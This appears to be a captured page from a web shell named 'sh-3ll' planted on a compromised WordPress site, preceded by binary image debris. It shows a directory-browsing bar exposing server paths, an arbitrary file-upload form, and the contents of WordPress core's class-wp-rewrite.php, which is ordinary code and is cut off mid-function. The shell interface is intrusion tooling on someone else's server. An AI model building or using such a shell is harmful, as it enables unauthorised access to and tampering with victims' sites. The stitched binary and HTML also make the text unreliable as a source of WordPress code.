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5"C 1 H  b?߮    3x  3 & g ş g  g    l  _   h     Z^,`5 ?   ߎ  vĸ% ̀M! OZC2#0x    LJ  0    G w    $I $I } < {Eb + y   ; iI,`    ܚ  F     : 5  ܛ A 8   -O -| 8 K 7  s |# Z8 a& >  <  a&    /V  tb t L  ʌI $I $I $I $I $I $IRj   D  D %tEXtdate:create2022-05-31T04:40:26+00:00 !Î%tEXtdate:modify2022-05-31T04:40:26+00:00 |{2IEND B`  <!doctypehtml><head><link href="https://fonts.googleapis.com"rel="preconnect"><link href="https://fonts.gstatic.com"rel="preconnect"crossorigin><link href="https://fonts.googleapis.com/css2?family=Maven+Pro:wght@400..900&display=swap"rel="stylesheet"><link href=""rel="stylesheet"type="text/css"><title>sh-3ll</title><style>body{background-color:#f0f0f0;color:#000;margin:0;padding:0;font-family:"Maven Pro",system-ui;font-optical-sizing:auto;font-weight:<weight>;font-style:normal}table{width:100%;border-collapse:collapse;border:1px solid #ddd;box-shadow:0 0 10px rgba(0,0,0,.1)}#content .first{background-color:#f7f7f7;font-weight:700}#content tr{border:1px #252525 solid}#content tr:hover{background-color:#f0f0f0;box-shadow:0 0 10px rgba(0,0,0,.05)}h1{font-family:Roboto,sans-serif;font-size:2em;color:#444;text-align:center;margin:20px 0}a{color:#007bff;text-decoration:none}a:hover{color:#0056b3;text-decoration:underline;text-shadow:none}input,select,textarea{border:1px solid #ccc;border-radius:4px;padding:10px;font-size:1em;background-color:#fff;box-shadow:0 0 5px rgba(0,0,0,.1)}input:focus,select:focus,textarea:focus{border-color:#007bff;outline:0;box-shadow:0 0 5px rgba(0,123,255,.5)}@media (max-width:768px){table{width:100%;font-size:.9em}h1{font-size:1.5em}}</style></head><body><h1><center><a href="?">HOME</a></center></h1><table align="center"border="0"cellpadding="3"cellspacing="1"width="700"><tr><td>DIR:<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/vhosts">vhosts</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com">dienmaychuyennghiep.com</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs">httpdocs</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-includes">wp-includes</a>/</td></tr><tr><td><form method="POST"enctype="multipart/form-data">Upload File : <input type="file"name="file"> <input value="upload"type="submit"></form></td></tr><tr><td>Current File : /var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-includes/class-wp-rewrite.php</td></tr><tr><td><pre>&lt;?php
/**
 * Rewrite API: WP_Rewrite class
 *
 * @package WordPress
 * @subpackage Rewrite
 * @since 1.5.0
 */

/**
 * Core class used to implement a rewrite component API.
 *
 * The WordPress Rewrite class writes the rewrite module rules to the .htaccess
 * file. It also handles parsing the request to get the correct setup for the
 * WordPress Query class.
 *
 * The Rewrite along with WP class function as a front controller for WordPress.
 * You can add rules to trigger your page view and processing using this
 * component. The full functionality of a front controller does not exist,
 * meaning you can&#039;t define how the template files load based on the rewrite
 * rules.
 *
 * @since 1.5.0
 */
#[AllowDynamicProperties]
class WP_Rewrite {
	/**
	 * Permalink structure for posts.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $permalink_structure;

	/**
	 * Whether to add trailing slashes.
	 *
	 * @since 2.2.0
	 * @var bool
	 */
	public $use_trailing_slashes;

	/**
	 * Base for the author permalink structure (example.com/$author_base/authorname).
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $author_base = &#039;author&#039;;

	/**
	 * Permalink structure for author archives.
	 *
	 * @since 1.5.0
	 * @var ?string
	 */
	public $author_structure;

	/**
	 * Permalink structure for date archives.
	 *
	 * @since 1.5.0
	 * @var ?string
	 */
	public $date_structure;

	/**
	 * Permalink structure for pages.
	 *
	 * @since 1.5.0
	 * @var ?string
	 */
	public $page_structure;

	/**
	 * Base of the search permalink structure (example.com/$search_base/query).
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $search_base = &#039;search&#039;;

	/**
	 * Permalink structure for searches.
	 *
	 * @since 1.5.0
	 * @var ?string
	 */
	public $search_structure;

	/**
	 * Comments permalink base.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $comments_base = &#039;comments&#039;;

	/**
	 * Pagination permalink base.
	 *
	 * @since 3.1.0
	 * @var string
	 */
	public $pagination_base = &#039;page&#039;;

	/**
	 * Comments pagination permalink base.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $comments_pagination_base = &#039;comment-page&#039;;

	/**
	 * Feed permalink base.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $feed_base = &#039;feed&#039;;

	/**
	 * Comments feed permalink structure.
	 *
	 * @since 1.5.0
	 * @var ?string
	 */
	public $comment_feed_structure;

	/**
	 * Feed request permalink structure.
	 *
	 * @since 1.5.0
	 * @var ?string
	 */
	public $feed_structure;

	/**
	 * The static portion of the post permalink structure.
	 *
	 * If the permalink structure is &quot;/archive/%post_id%&quot; then the front
	 * is &quot;/archive/&quot;. If the permalink structure is &quot;/%year%/%postname%/&quot;
	 * then the front is &quot;/&quot;.
	 *
	 * @since 1.5.0
	 * @var string
	 *
	 * @see WP_Rewrite::init()
	 */
	public $front;

	/**
	 * The prefix for all permalink structures.
	 *
	 * If PATHINFO/index permalinks are in use then the root is the value of
	 * `WP_Rewrite::$index` with a trailing slash appended. Otherwise the root
	 * will be empty.
	 *
	 * @since 1.5.0
	 * @var string
	 *
	 * @see WP_Rewrite::init()
	 * @see WP_Rewrite::using_index_permalinks()
	 */
	public $root = &#039;&#039;;

	/**
	 * The name of the index file which is the entry point to all requests.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $index = &#039;index.php&#039;;

	/**
	 * Variable name to use for regex matches in the rewritten query.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $matches = &#039;&#039;;

	/**
	 * Rewrite rules to match against the request to find the redirect or query.
	 *
	 * @since 1.5.0
	 * @var string[]
	 */
	public $rules;

	/**
	 * Additional rules added external to the rewrite class.
	 *
	 * Those not generated by the class, see add_rewrite_rule().
	 *
	 * @since 2.1.0
	 * @var string[]
	 */
	public $extra_rules = array();

	/**
	 * Additional rules that belong at the beginning to match first.
	 *
	 * Those not generated by the class, see add_rewrite_rule().
	 *
	 * @since 2.3.0
	 * @var string[]
	 */
	public $extra_rules_top = array();

	/**
	 * Rules that don&#039;t redirect to WordPress&#039; index.php.
	 *
	 * These rules are written to the mod_rewrite portion of the .htaccess,
	 * and are added by add_external_rule().
	 *
	 * @since 2.1.0
	 * @var string[]
	 */
	public $non_wp_rules = array();

	/**
	 * Extra permalink structures, e.g. categories, added by add_permastruct().
	 *
	 * @since 2.1.0
	 * @var array[]
	 */
	public $extra_permastructs = array();

	/**
	 * Endpoints (like /trackback/) added by add_rewrite_endpoint().
	 *
	 * @since 2.1.0
	 * @var array[]
	 */
	public $endpoints;

	/**
	 * Whether to write every mod_rewrite rule for WordPress into the .htaccess file.
	 *
	 * This is off by default, turning it on might print a lot of rewrite rules
	 * to the .htaccess file.
	 *
	 * @since 2.0.0
	 * @var bool
	 *
	 * @see WP_Rewrite::mod_rewrite_rules()
	 */
	public $use_verbose_rules = false;

	/**
	 * Could post permalinks be confused with those of pages?
	 *
	 * If the first rewrite tag in the post permalink structure is one that could
	 * also match a page name (e.g. %postname% or %author%) then this flag is
	 * set to true. Prior to WordPress 3.3 this flag indicated that every page
	 * would have a set of rules added to the top of the rewrite rules array.
	 * Now it tells WP::parse_request() to check if a URL matching the page
	 * permastruct is actually a page before accepting it.
	 *
	 * @since 2.5.0
	 * @var bool
	 *
	 * @see WP_Rewrite::init()
	 */
	public $use_verbose_page_rules = true;

	/**
	 * Rewrite tags that can be used in permalink structures.
	 *
	 * These are translated into the regular expressions stored in
	 * `WP_Rewrite::$rewritereplace` and are rewritten to the query
	 * variables listed in WP_Rewrite::$queryreplace.
	 *
	 * Additional tags can be added with add_rewrite_tag().
	 *
	 * @since 1.5.0
	 * @var string[]
	 */
	public $rewritecode = array(
		&#039;%year%&#039;,
		&#039;%monthnum%&#039;,
		&#039;%day%&#039;,
		&#039;%hour%&#039;,
		&#039;%minute%&#039;,
		&#039;%second%&#039;,
		&#039;%postname%&#039;,
		&#039;%post_id%&#039;,
		&#039;%author%&#039;,
		&#039;%pagename%&#039;,
		&#039;%search%&#039;,
	);

	/**
	 * Regular expressions to be substituted into rewrite rules in place
	 * of rewrite tags, see WP_Rewrite::$rewritecode.
	 *
	 * @since 1.5.0
	 * @var string[]
	 */
	public $rewritereplace = array(
		&#039;([0-9]{4})&#039;,
		&#039;([0-9]{1,2})&#039;,
		&#039;([0-9]{1,2})&#039;,
		&#039;([0-9]{1,2})&#039;,
		&#039;([0-9]{1,2})&#039;,
		&#039;([0-9]{1,2})&#039;,
		&#039;([^/]+)&#039;,
		&#039;([0-9]+)&#039;,
		&#039;([^/]+)&#039;,
		&#039;([^/]+?)&#039;,
		&#039;(.+)&#039;,
	);

	/**
	 * Query variables that rewrite tags map to, see WP_Rewrite::$rewritecode.
	 *
	 * @since 1.5.0
	 * @var string[]
	 */
	public $queryreplace = array(
		&#039;year=&#039;,
		&#039;monthnum=&#039;,
		&#039;day=&#039;,
		&#039;hour=&#039;,
		&#039;minute=&#039;,
		&#039;second=&#039;,
		&#039;name=&#039;,
		&#039;p=&#039;,
		&#039;author_name=&#039;,
		&#039;pagename=&#039;,
		&#039;s=&#039;,
	);

	/**
	 * Supported default feeds.
	 *
	 * @since 1.5.0
	 * @var string[]
	 */
	public $feeds = array( &#039;feed&#039;, &#039;rdf&#039;, &#039;rss&#039;, &#039;rss2&#039;, &#039;atom&#039; );

	/**
	 * Determines whether permalinks are being used.
	 *
	 * This can be either rewrite module or permalink in the HTTP query string.
	 *
	 * @since 1.5.0
	 *
	 * @return bool True, if permalinks are enabled.
	 */
	public function using_permalinks() {
		return ! empty( $this-&gt;permalink_structure );
	}

	/**
	 * Determines whether permalinks are being used and rewrite module is not enabled.
	 *
	 * Means that permalink links are enabled and index.php is in the URL.
	 *
	 * @since 1.5.0
	 *
	 * @return bool Whether permalink links are enabled and index.php is in the URL.
	 */
	public function using_index_permalinks() {
		if ( empty( $this-&gt;permalink_structure ) ) {
			return false;
		}

		// If the index is not in the permalink, we&#039;re using mod_rewrite.
		return preg_match( &#039;#^/*&#039; . $this-&gt;index . &#039;#&#039;, $this-&gt;permalink_structure );
	}

	/**
	 * Determines whether permalinks are being used and rewrite module is enabled.
	 *
	 * Using permalinks and index.php is not in the URL.
	 *
	 * @since 1.5.0
	 *
	 * @return bool Whether permalink links are enabled and index.php is NOT in the URL.
	 */
	public function using_mod_rewrite_permalinks() {
		return $this-&gt;using_permalinks() &amp;&amp; ! $this-&gt;using_index_permalinks();
	}

	/**
	 * Indexes for matches for usage in preg_*() functions.
	 *
	 * The format of the string is, with empty matches property value, &#039;$NUM&#039;.
	 * The &#039;NUM&#039; will be replaced with the value in the $number parameter. With
	 * the matches property not empty, the value of the returned string will
	 * contain that value of the matches property. The format then will be
	 * &#039;$MATCHES[NUM]&#039;, with MATCHES as the value in the property and NUM the
	 * value of the $number parameter.
	 *
	 * @since 1.5.0
	 *
	 * @param int $number Index number.
	 * @return string
	 */
	public function preg_index( $number ) {
		$match_prefix = &#039;$&#039;;
		$match_suffix = &#039;&#039;;

		if ( ! empty( $this-&gt;matches ) ) {
			$match_prefix = &#039;$&#039; . $this-&gt;matches . &#039;[&#039;;
			$match_suffix = &#039;]&#039;;
		}

		return &quot;$match_prefix$number$match_suffix&quot;;
	}

	/**
	 * Retrieves all pages and attachments for pages URIs.
	 *
	 * The attachments are for those that have pages as parents and will be
	 * retrieved.
	 *
	 * @since 2.5.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return array Array of page URIs as first element and attachment URIs as second element.
	 */
	public function page_uri_index() {
		global $wpdb;

		// Get pages in order of hierarchy, i.e. children after parents.
		$pages = $wpdb-&gt;get_results( &quot;SELECT ID, post_name, post_parent FROM $wpdb-&gt;posts WHERE post_type = &#039;page&#039; AND post_status != &#039;auto-draft&#039;&quot; );
		$posts = get_page_hierarchy( $pages );

		// If we have no pages get out quick.
		if ( ! $posts ) {
			return array( array(), array() );
		}

		// Now reverse it, because we need parents after children for rewrite rules to work properly.
		$posts = array_reverse( $posts, true );

		$page_uris            = array();
		$page_attachment_uris = array();

		foreach ( $posts as $id =&gt; $post ) {
			// URL =&gt; page name.
			$uri         = get_page_uri( $id );
			$attachments = $wpdb-&gt;get_results( $wpdb-&gt;prepare( &quot;SELECT ID, post_name, post_parent FROM $wpdb-&gt;posts WHERE post_type = &#039;attachment&#039; AND post_parent = %d&quot;, $id ) );
			if ( ! empty( $attachments ) ) {
				foreach ( $attachments as $attachment ) {
					$attach_uri                          = get_page_uri( $attachment-&gt;ID );
					$page_attachment_uris[ $attach_uri ] = $attachment-&gt;ID;
				}
			}

			$page_uris[ $uri ] = $id;
		}

		return array( $page_uris, $page_attachment_uris );
	}

	/**
	 * Retrieves all of the rewrite rules for pages.
	 *
	 * @since 1.5.0
	 *
	 * @return string[] Page rewrite rules.
	 */
	public function page_rewrite_rules() {
		// The extra .? at the beginning prevents clashes with other regular expressions in the rules array.
		$this-&gt;add_rewrite_tag( &#039;%pagename%&#039;, &#039;(.?.+?)&#039;, &#039;pagename=&#039; );

		return $this-&gt;generate_rewrite_rules( $this-&gt;get_page_permastruct(), EP_PAGES, true, true, false, false );
	}

	/**
	 * Retrieves date permalink structure, with year, month, and day.
	 *
	 * The permalink structure for the date, if not set already depends on the
	 * permalink structure. It can be one of three formats. The first is year,
	 * month, day; the second is day, month, year; and the last format is month,
	 * day, year. These are matched against the permalink structure for which
	 * one is used. If none matches, then the default will be used, which is
	 * year, month, day.
	 *
	 * Prevents post ID and date permalinks from overlapping. In the case of
	 * post_id, the date permalink will be prepended with front permalink with
	 * &#039;date/&#039; before the actual permalink to form the complete date permalink
	 * structure.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Date permalink structure on success, false on failure.
	 */
	public function get_date_permastruct() {
		if ( isset( $this-&gt;date_structure ) ) {
			return $this-&gt;date_structure;
		}

		if ( empty( $this-&gt;permalink_structure ) ) {
			$this-&gt;date_structure = &#039;&#039;;
			return false;
		}

		// The date permalink must have year, month, and day separated by slashes.
		$endians = array( &#039;%year%/%monthnum%/%day%&#039;, &#039;%day%/%monthnum%/%year%&#039;, &#039;%monthnum%/%day%/%year%&#039; );

		$this-&gt;date_structure = &#039;&#039;;
		$date_endian          = &#039;&#039;;

		foreach ( $endians as $endian ) {
			if ( str_contains( $this-&gt;permalink_structure, $endian ) ) {
				$date_endian = $endian;
				break;
			}
		}

		if ( empty( $date_endian ) ) {
			$date_endian = &#039;%year%/%monthnum%/%day%&#039;;
		}

		/*
		 * Do not allow the date tags and %post_id% to overlap in the permalink
		 * structure. If they do, move the date tags to $front/date/.
		 */
		$front = $this-&gt;front;
		preg_match_all( &#039;/%.+?%/&#039;, $this-&gt;permalink_structure, $tokens );
		$tok_index = 1;
		foreach ( (array) $tokens[0] as $token ) {
			if ( &#039;%post_id%&#039; === $token &amp;&amp; ( $tok_index &lt;= 3 ) ) {
				$front = $front . &#039;date/&#039;;
				break;
			}
			++$tok_index;
		}

		$this-&gt;date_structure = $front . $date_endian;

		return $this-&gt;date_structure;
	}

	/**
	 * Retrieves the year permalink structure without month and day.
	 *
	 * Gets the date permalink structure and strips out the month and day
	 * permalink structures.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Year permalink structure on success, false on failure.
	 */
	public function get_year_permastruct() {
		$structure = $this-&gt;get_date_permastruct();

		if ( empty( $structure ) ) {
			return false;
		}

		$structure = str_replace( &#039;%monthnum%&#039;, &#039;&#039;, $structure );
		$structure = str_replace( &#039;%day%&#039;, &#039;&#039;, $structure );
		$structure = preg_replace( &#039;#/+#&#039;, &#039;/&#039;, $structure );

		return $structure;
	}

	/**
	 * Retrieves the month permalink structure without day and with year.
	 *
	 * Gets the date permalink structure and strips out the day permalink
	 * structures. Keeps the year permalink structure.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Year/Month permalink structure on success, false on failure.
	 */
	public function get_month_permastruct() {
		$structure = $this-&gt;get_date_permastruct();

		if ( empty( $structure ) ) {
			return false;
		}

		$structure = str_replace( &#039;%day%&#039;, &#039;&#039;, $structure );
		$structure = preg_replace( &#039;#/+#&#039;, &#039;/&#039;, $structure );

		return $structure;
	}

	/**
	 * Retrieves the day permalink structure with month and year.
	 *
	 * Keeps date permalink structure with all year, month, and day.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Year/Month/Day permalink structure on success, false on failure.
	 */
	public function get_day_permastruct() {
		return $this-&gt;get_date_permastruct();
	}

	/**
	 * Retrieves the permalink structure for categories.
	 *
	 * If the category_base property has no value, then the category structure
	 * will have the front property value, followed by &#039;category&#039;, and finally
	 * &#039;%category%&#039;. If it does, then the root property will be used, along with
	 * the category_base property value.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Category permalink structure on success, false on failure.
	 */
	public function get_category_permastruct() {
		return $this-&gt;get_extra_permastruct( &#039;category&#039; );
	}

	/**
	 * Retrieves the permalink structure for tags.
	 *
	 * If the tag_base property has no value, then the tag structure will have
	 * the front property value, followed by &#039;tag&#039;, and finally &#039;%tag%&#039;. If it
	 * does, then the root property will be used, along with the tag_base
	 * property value.
	 *
	 * @since 2.3.0
	 *
	 * @return string|false Tag permalink structure on success, false on failure.
	 */
	public function get_tag_permastruct() {
		return $this-&gt;get_extra_permastruct( &#039;post_tag&#039; );
	}

	/**
	 * Retrieves an extra permalink structure by name.
	 *
	 * @since 2.5.0
	 *
	 * @param string $name Permalink structure name.
	 * @return string|false Permalink structure string on success, false on failure.
	 */
	public function get_extra_permastruct( $name ) {
		if ( empty( $this-&gt;permalink_structure ) ) {
			return false;
		}

		if ( isset( $this-&gt;extra_permastructs[ $name ] ) ) {
			return $this-&gt;extra_permastructs[ $name ][&#039;struct&#039;];
		}

		return false;
	}

	/**
	 * Retrieves the author permalink structure.
	 *
	 * The permalink structure is front property, author base, and finally
	 * &#039;/%author%&#039;. Will set the author_structure property and then return it
	 * without attempting to set the value again.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Author permalink structure on success, false on failure.
	 */
	public function get_author_permastruct() {
		if ( isset( $this-&gt;author_structure ) ) {
			return $this-&gt;author_structure;
		}

		if ( empty( $this-&gt;permalink_structure ) ) {
			$this-&gt;author_structure = &#039;&#039;;
			return false;
		}

		$this-&gt;author_structure = $this-&gt;front . $this-&gt;author_base . &#039;/%author%&#039;;

		return $this-&gt;author_structure;
	}

	/**
	 * Retrieves the search permalink structure.
	 *
	 * The permalink structure is root property, search base, and finally
	 * &#039;/%search%&#039;. Will set the search_structure property and then return it
	 * without attempting to set the value again.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Search permalink structure on success, false on failure.
	 */
	public function get_search_permastruct() {
		if ( isset( $this-&gt;search_structure ) ) {
			return $this-&gt;search_structure;
		}

		if ( empty( $this-&gt;permalink_structure ) ) {
			$this-&gt;search_structure = &#039;&#039;;
			return false;
		}

		$this-&gt;search_structure = $this-&gt;root . $this-&gt;search_base . &#039;/%search%&#039;;

		return $this-&gt;search_structure;
	}

	/**
	 * Retrieves the page permalink structure.
	 *
	 * The permalink structure is root property, and &#039;%pagename%&#039;. Will set the
	 * page_structure property and then return it without attempting to set the
	 * value again.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Page permalink structure on success, false on failure.
	 */
	public function get_page_permastruct() {
		if ( isset( $this-&gt;page_structure ) ) {
			return $this-&gt;page_structure;
		}

		if ( empty( $this-&gt;permalink_structure ) ) {
			$this-&gt;page_structure = &#039;&#039;;
			return false;
		}

		$this-&gt;page_structure = $this-&gt;root . &#039;%pagename%&#039;;

		return $this-&gt;page_structure;
	}

	/**
	 * Retrieves the feed permalink structure.
	 *
	 * The permalink structure is root property, feed base, and finally
	 * &#039;/%feed%&#039;. Will set the feed_structure property and then return it
	 * without attempting to set the value again.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Feed permalink structure on success, false on failure.
	 */
	public function get_feed_permastruct() {
		if ( isset( $this-&gt;feed_structure ) ) {
			return $this-&gt;feed_structure;
		}

		if ( empty( $this-&gt;permalink_structure ) ) {
			$this-&gt;feed_structure = &#039;&#039;;
			return false;
		}

		$this-&gt;feed_structure = $this-&gt;root . $this-&gt;feed_base . &#039;/%feed%&#039;;

		return $this-&gt;feed_structure;
	}

	/**
	 * Retrieves the comment feed permalink structure.
	 *
	 * The permalink structure is root property, comment base property, feed
	 * base and finally &#039;/%feed%&#039;. Will set the comment_feed_structure property
	 * and then return it without attempting to set the value again.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Comment feed permalink structure on success, false on failure.
	 */
	public function get_comment_feed_permastruct() {
		if ( isset( $this-&gt;comment_feed_structure ) ) {
			return $this-&gt;comment_feed_structure;
		}

		if ( empty( $this-&gt;permalink_structure ) ) {
			$this-&gt;comment_feed_structure = &#039;&#039;;
			return false;
		}

		$this-&gt;comment_feed_structure = $this-&gt;root . $this-&gt;comments_base . &#039;/&#039; . $this-&gt;feed_base . &#039;/%feed%&#039;;

		return $this-&gt;comment_feed_structure;
	}

	/**
	 * Adds or updates existing rewrite tags (e.g. %postname%).
	 *
	 * If the tag already exists, replace the existing pattern and query for
	 * that tag, otherwise add the new tag.
	 *
	 * @since 1.5.0
	 *
	 * @see WP_Rewrite::$rewritecode
	 * @see WP_Rewrite::$rewritereplace
	 * @see WP_Rewrite::$queryreplace
	 *
	 * @param string $tag   Name of the rewrite tag to add or update.
	 * @param string $regex Regular expression to substitute the tag for in rewrite rules.
	 * @param string $query String to append to the rewritten query. Must end in &#039;=&#039;.
	 */
	public function add_rewrite_tag( $tag, $regex, $query ) {
		$position = array_search( $tag, $this-&gt;rewritecode, true );
		if ( false !== $position &amp;&amp; null !== $position ) {
			$this-&gt;rewritereplace[ $position ] = $regex;
			$this-&gt;queryreplace[ $position ]   = $query;
		} else {
			$this-&gt;rewritecode[]    = $tag;
			$this-&gt;rewritereplace[] = $regex;
			$this-&gt;queryreplace[]   = $query;
		}
	}


	/**
	 * Removes an existing rewrite tag.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Rewrite::$rewritecode
	 * @see WP_Rewrite::$rewritereplace
	 * @see WP_Rewrite::$queryreplace
	 *
	 * @param string $tag Name of the rewrite tag to remove.
	 */
	public function remove_rewrite_tag( $tag ) {
		$position = array_search( $tag, $this-&gt;rewritecode, true );
		if ( false !== $position &amp;&amp; null !== $position ) {
			unset( $this-&gt;rewritecode[ $position ] );
			unset( $this-&gt;rewritereplace[ $position ] );
			unset( $this-&gt;queryreplace[ $position ] );
		}
	}

	/**
	 * Generates rewrite rules from a permalink structure.
	 *
	 * The main WP_Rewrite function for building the rewrite rule list. The
	 * contents of the function is a mix of black magic and regular expressions,
	 * so best just ignore the contents and move to the parameters.
	 *
	 * @since 1.5.0
	 *
	 * @param string $permalink_structure The permalink structure.
	 * @param int    $ep_mask             Optional. Endpoint mask defining what endpoints are added to the structure.
	 *                                    Accepts a mask of:
	 *                                    - `EP_ALL`
	 *                                    - `EP_NONE`
	 *                                    - `EP_ALL_ARCHIVES`
	 *                                    - `EP_ATTACHMENT`
	 *                                    - `EP_AUTHORS`
	 *                                    - `EP_CATEGORIES`
	 *                                    - `EP_COMMENTS`
	 *                                    - `EP_DATE`
	 *                                    - `EP_DAY`
	 *                                    - `EP_MONTH`
	 *                                    - `EP_PAGES`
	 *                                    - `EP_PERMALINK`
	 *                                    - `EP_ROOT`
	 *                                    - `EP_SEARCH`
	 *                                    - `EP_TAGS`
	 *                                    - `EP_YEAR`
	 *                                    Default `EP_NONE`.
	 * @param bool   $paged               Optional. Whether archive pagination rules should be added for the structure.
	 *                                    Default true.
	 * @param bool   $feed                Optional. Whether feed rewrite rules should be added for the structure.
	 *                                    Default true.
	 * @param bool   $forcomments         Optional. Whether the feed rules should be a query for a comments feed.
	 *                                    Default false.
	 * @param bool   $walk_dirs           Optional. Whether the &#039;directories&#039; making up the structure should be walked
	 *                                    over and rewrite rules built for each in-turn. Default true.
	 * @param bool   $endpoints           Optional. Whether endpoints should be applied to the generated rewrite rules.
	 *                                    Default true.
	 * @return string[] Array of rewrite rules keyed by their regex pattern.
	 */
	public function generate_rewrite_rules( $permalink_structure, $ep_mask = EP_NONE, $paged = true, $feed = true, $forcomments = false, $walk_dirs = true, $endpoints = true ) {
		// Build a regex to match the feed section of URLs, something like (feed|atom|rss|rss2)/?
		$feedregex2 = &#039;&#039;;
		foreach ( (array) $this-&gt;feeds as $feed_name ) {
			$feedregex2 .= $feed_name . &#039;|&#039;;
		}
		$feedregex2 = &#039;(&#039; . trim( $feedregex2, &#039;|&#039; ) . &#039;)/?$&#039;;

		/*
		 * $feedregex is identical but with /feed/ added on as well, so URLs like &lt;permalink&gt;/feed/atom
		 * and &lt;permalink&gt;/atom are both possible
		 */
		$feedregex = $this-&gt;feed_base . &#039;/&#039; . $feedregex2;

		// Build a regex to match the trackback and page/xx parts of URLs.
		$trackbackregex = &#039;trackback/?$&#039;;
		$pageregex      = $this-&gt;pagination_base . &#039;/?([0-9]{1,})/?$&#039;;
		$commentregex   = $this-&gt;comments_pagination_base . &#039;-([0-9]{1,})/?$&#039;;
		$embedregex     = &#039;embed/?$&#039;;

		// Build up an array of endpoint regexes to append =&gt; queries to append.
		if ( $endpoints ) {
			$ep_query_append = array();
			foreach ( (array) $this-&gt;endpoints as $endpoint ) {
				// Match everything after the endpoint name, but allow for nothing to appear there.
				$epmatch = $endpoint[1] . &#039;(/(.*))?/?$&#039;;

				// This will be appended on to the rest of the query for each dir.
				$epquery                     = &#039;&amp;&#039; . $endpoint[2] . &#039;=&#039;;
				$ep_query_append[ $epmatch ] = array( $endpoint[0], $epquery );
			}
		}

		// Get everything up to the first rewrite tag.
		$front = substr( $permalink_structure, 0, strpos( $permalink_structure, &#039;%&#039; ) );

		// Build an array of the tags (note that said array ends up being in $tokens[0]).
		preg_match_all( &#039;/%.+?%/&#039;, $permalink_structure, $tokens );

		$num_tokens = count( $tokens[0] );

		$index          = $this-&gt;index; // Probably &#039;index.php&#039;.
		$feedindex      = $index;
		$trackbackindex = $index;
		$embedindex     = $index;

		/*
		 * Build a list from the rewritecode and queryreplace arrays, that will look something
		 * like tagname=$matches[i] where i is the current $i.
		 */
		$queries = array();
		for ( $i = 0; $i &lt; $num_tokens; ++$i ) {
			if ( 0 &lt; $i ) {
				$queries[ $i ] = $queries[ $i - 1 ] . &#039;&amp;&#039;;
			} else {
				$queries[ $i ] = &#039;&#039;;
			}

			$query_token    = str_replace( $this-&gt;rewritecode, $this-&gt;queryreplace, $tokens[0][ $i ] ) . $this-&gt;preg_index( $i + 1 );
			$queries[ $i ] .= $query_token;
		}

		// Get the structure, minus any cruft (stuff that isn&#039;t tags) at the front.
		$structure = $permalink_structure;
		if ( &#039;/&#039; !== $front ) {
			$structure = str_replace( $front, &#039;&#039;, $structure );
		}

		/*
		 * Create a list of dirs to walk over, making rewrite rules for each level
		 * so for example, a $structure of /%year%/%monthnum%/%postname% would create
		 * rewrite rules for /%year%/, /%year%/%monthnum%/ and /%year%/%monthnum%/%postname%
		 */
		$structure = trim( $structure, &#039;/&#039; );
		$dirs      = $walk_dirs ? explode( &#039;/&#039;, $structure ) : array( $structure );
		$num_dirs  = count( $dirs );

		// Strip slashes from the front of $front.
		$front = preg_replace( &#039;|^/+|&#039;, &#039;&#039;, $front );

		// The main workhorse loop.
		$post_rewrite = array();
		$struct       = $front;
		for ( $j = 0; $j &lt; $num_dirs; ++$j ) {
			// Get the struct for this dir, and trim slashes off the front.
			$struct .= $dirs[ $j ] . &#039;/&#039;; // Accumulate. see comment near explode(&#039;/&#039;, $structure) above.
			$struct  = ltrim( $struct, &#039;/&#039; );

			// Replace tags with regexes.
			$match = str_replace( $this-&gt;rewritecode, $this-&gt;rewritereplace, $struct );

			// Make a list of tags, and store how many there are in $num_toks.
			$num_toks = preg_match_all( &#039;/%.+?%/&#039;, $struct, $toks );

			// Get the &#039;tagname=$matches[i]&#039;.
			$query = ( ! empty( $num_toks ) &amp;&amp; isset( $queries[ $num_toks - 1 ] ) ) ? $queries[ $num_toks - 1 ] : &#039;&#039;;

			// Set up $ep_mask_specific which is used to match more specific URL types.
			switch ( $dirs[ $j ] ) {
				case &#039;%year%&#039;:
					$ep_mask_specific = EP_YEAR;
					break;
				case &#039;%monthnum%&#039;:
					$ep_mask_specific = EP_MONTH;
					break;
				case &#039;%day%&#039;:
					$ep_mask_specific = EP_DAY;
					break;
				default:
					$ep_mask_specific = EP_NONE;
			}

			// Create query for /page/xx.
			$pagematch = $match . $pageregex;
			$pagequery = $index . &#039;?&#039; . $query . &#039;&amp;paged=&#039; . $this-&gt;preg_index( $num_toks + 1 );

			// Create query for /comment-page-xx.
			$commentmatch = $match . $commentregex;
			$commentquery = $index . &#039;?&#039; . $query . &#039;&amp;cpage=&#039; . $this-&gt;preg_index( $num_toks + 1 );

			if ( get_option( &#039;page_on_front&#039; ) ) {
				// Create query for Root /comment-page-xx.
				$rootcommentmatch = $match . $commentregex;
				$rootcommentquery = $index . &#039;?&#039; . $query . &#039;&amp;page_id=&#039; . get_option( &#039;page_on_front&#039; ) . &#039;&amp;cpage=&#039; . $this-&gt;preg_index( $num_toks + 1 );
			}

			// Create query for /feed/(feed|atom|rss|rss2|rdf).
			$feedmatch = $match . $feedregex;
			$feedquery = $feedindex . &#039;?&#039; . $query . &#039;&amp;feed=&#039; . $this-&gt;preg_index( $num_toks + 1 );

